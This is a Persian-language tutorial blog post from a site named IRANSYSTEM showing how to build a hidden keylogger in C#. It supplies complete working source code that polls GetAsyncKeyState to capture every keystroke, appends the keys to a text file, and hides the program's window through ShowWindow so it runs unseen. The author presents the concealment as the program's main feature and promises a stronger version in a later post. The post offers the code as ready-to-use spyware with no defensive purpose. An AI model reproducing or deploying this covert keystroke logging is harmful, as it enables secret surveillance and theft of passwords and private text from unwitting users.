IRANSYSTEM

ایران سیستم|IRANSYSTEM

IRANSYSTEM

ایران سیستم|IRANSYSTEM

IRANSYSTEM

تیم اموزشی ایران سیستم با هدف اشنا کردن علاقه مندان به اموزش مسائل کامپیوتر. نرم افزار . بازی و ...
در این سایت تلاش کردیم، تمامی نیازهای کاربران برای دسترسی سریع و آسان به محتوای کاربردی در حوزه‌های مختلف را هم‌ زمان فراهم آوریم.
با تشکر

آموزش تصویری ساخت کیلاگر

سه شنبه, ۲۴ بهمن ۱۳۹۶، ۰۵:۰۸ ب.ظ

خب تو این پست میخوایم کیلاگری رو کد نویسی کنیم که در هر شرایطی کاراکتر های زده شده رو ذخیره کنه و مخفی هم هست!

ابزار لازم:

 یک TextBox

یک Button

و یک Timer

یک پروژه جدید گرافیکی بسازید و اسمش رو هرچیزی که خواستید بزارید در اینجا اسم پروژه getkeys هست

کنترل ها رو به شکل زیر در برنامه قرار بدید

 


تو این قسمت از اموزش چون میخوایم از کد های unmanaged استفاده کنیم باید using زیر رو اول اضافه کنیم

using System.Runtime.InteropServices;
using System.IO;

یه توضیح مختصر درباره کد های مدیریت نشده((unmanaged :

ببینید کد های که در زبان های سطح بالا مثل سی شارپ مینویسیم هنگام کامپایل شدن مستقیم به زبان ماشین تبدیل نمیشن!  در ابتدا به زبان سطح میانی(.Net) که توسط بعضی سرویس ها انجام میشه کامپایل میشن و بعد به زبان ماشین.

ولی کد های unmanaged هنگام کامپایل شدن مستقیم به زبان ماشین ترجمه میشه و در نتیجه موجب اجرای سریع کد هامون میشه ولی بیشتر اوقات ارور های که به وجود میاره برطرف کردنش دشوار و زمان بره!

] نکته تا اونجای که میتونید از کد های unmanaged استفاده نکنید چون اغلب مشکل ساز میشه[

        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(int vkey);
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(Keys vkey);

کد های بالا رو در زیر کلاس قرار بدید توصیه میکنم کد رو تایپ کنید تا براتون یکم جا بیوفته

فعلا در مورد کد های بالا توضیحی نمیدم! مگر تو پست اینده...

خب بعد از نوشتن کد های بالا حالا یک متد میسازیم از نوع void و اسمش رو میزاریم savekeys و کد های اصلی رو توش قرار میدیم

بهتره از متد TryCatch استفاده کنیم تا هنگام اخطار برناممون بسته .

        public void savekeys()
        {
            try
            {
                foreach(int i in Enum.GetValues(typeof(Keys)))
                {
                    if(GetAsyncKeyState(i) == -32767)
                    {
                    textBox1.Text += Enum.GetName(typeof(Keys), i) + "";
                    StreamWriter sw = new StreamWriter("test.txt",true);
                    sw.Write(Enum.GetName(typeof(Keys), i) + "");
                    sw.Close();
                    }
                }
            }
            catch (Exception)
            {
            }
        }

در بالا از دستور  foreach استفاده کردیم و مقدار بازگشتی نوع Keys رو در متغییر i ریختیم .  کار کد بالا نمایش کاراکتر های زده شده در TextBox و همینطور ذخیره کردن انها درون یک فایل تکست هستش

بعد باید متد بالا رو در تایمر فراخوانی کنیم! پس کد زیر رو در تایمر بنویسید

Savekeys();

و در اخر در قسمت Form load کد زیر رو اضافه کنید و تمام!

Timer1.Start();

تا اینجا برناممون تقریبا تکمیل شده و میتونید یه بار برنامه رو تست کنید ببینید کلید های زده شده رو تو TextBox نمایش میده یا نه


حالا میرسیم به بخش ویژه برنامه ! مخفی کردن فرم

کد زیر رو به کلاس اضافه کنید

        [System.Runtime.InteropServices.DllImport("user32.dll", CharSet = System.Runtime.InteropServices.CharSet.Auto)]
        private static extern bool ShowWindow(IntPtr hwnd, int nCmdShow);

حالا درون دکمه کد زیر رو کپی کنید

ShowWindow(this.Handle, 0);

حالا یه بار دیگه برنامه رو اجرا کنید اینبار رو دکمه کلیک کنید تا فرم مخفی شه!


کلا کد هامون تا اینجا میشه این

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
namespace getkeys
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(int vkey);
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(Keys vkey);
        [System.Runtime.InteropServices.DllImport("user32.dll", CharSet = System.Runtime.InteropServices.CharSet.Auto)]
        private static extern bool ShowWindow(IntPtr hwnd, int nCmdShow);
        private void Form1_Load(object sender, EventArgs e)
        {
            timer1.Start();
        }
        public void savekeys()
        {
            try
            {
                foreach(int i in Enum.GetValues(typeof(Keys)))
                {
                    if(GetAsyncKeyState(i) == -32767)
                    {
                    textBox1.Text += Enum.GetName(typeof(Keys), i) + "";
                    StreamWriter sw = new StreamWriter("test.txt",true);
                    sw.Write(Enum.GetName(typeof(Keys), i) + "");
                    sw.Close();
                    }
                }
            }
            catch (Exception)
            {
            }
        }
        private void timer1_Tick(object sender, EventArgs e)
        {
            savekeys();
        }
        private void button1_Click(object sender, EventArgs e)
        {
            ShowWindow(this.Handle, 0);
        }
    }
}


اموزش بالا تقریبا یکم سخت بود ولی در اپدیت بعدی این پست توضیحات بیشتری در مورد کد ها میدم تا براتون خوب جا بیوفته در اپدیت بعد یک کیلاگر قوی تر و سریع تر میسازیم!

امید وارم از اموزش لذت برده باشید هرگونه مشکلی که در نوشتن کد براتون پیش اومد همینجا برام کامنت بزارین

نظرات  (۰)

هیچ نظری هنوز ثبت نشده است

ارسال نظر

ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
تجدید کد امنیتی